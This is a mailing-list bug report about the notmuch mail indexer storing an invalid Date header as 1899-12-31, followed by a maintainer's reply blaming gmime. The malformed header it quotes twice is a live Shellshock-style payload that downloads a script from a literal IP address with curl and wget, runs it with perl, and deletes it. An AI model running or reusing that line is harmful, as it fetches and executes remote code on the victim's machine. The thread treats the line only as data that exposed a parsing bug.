bug: notmuch cannot handle invalid Date fields

[David Bremner]

Johannes Schauer <j.schauer at email.de> writes:

> Hi,
>
> I recently received an email with the following date field (the value of all
> other headers is the same):
>
> Date:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &;
>
> When doing `notmuch search lwp-download` I get:
>
> thread:000000000001ea6b   1899-12-31 [1/1] {; () { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &; (inbox unread)
>
> You can see that the date is 1899-12-31 which is wrong.
>
> This is annoying because the python module datetime which is for example used
> by the notmuch client alot cannot handle dates before the year 1900 and will
> thus never show this email in its thread view but instead display an exception
> every time the view is refreshed.
>
> It would be great if an invalid date could either somehow default to a nil
> value or be a date that is 1900 or later.
>

I believe the underlying problem is a bug in the gmime library. I've
reported it it at

         https://bugzilla.gnome.org/show_bug.cgi?id=779923

We'll see if upstream agrees.  If my understanding of the situation is
correct, it should be easy enough to clamp the return value from gmime
so that only non-negative time values are saved into the notmuch database.

d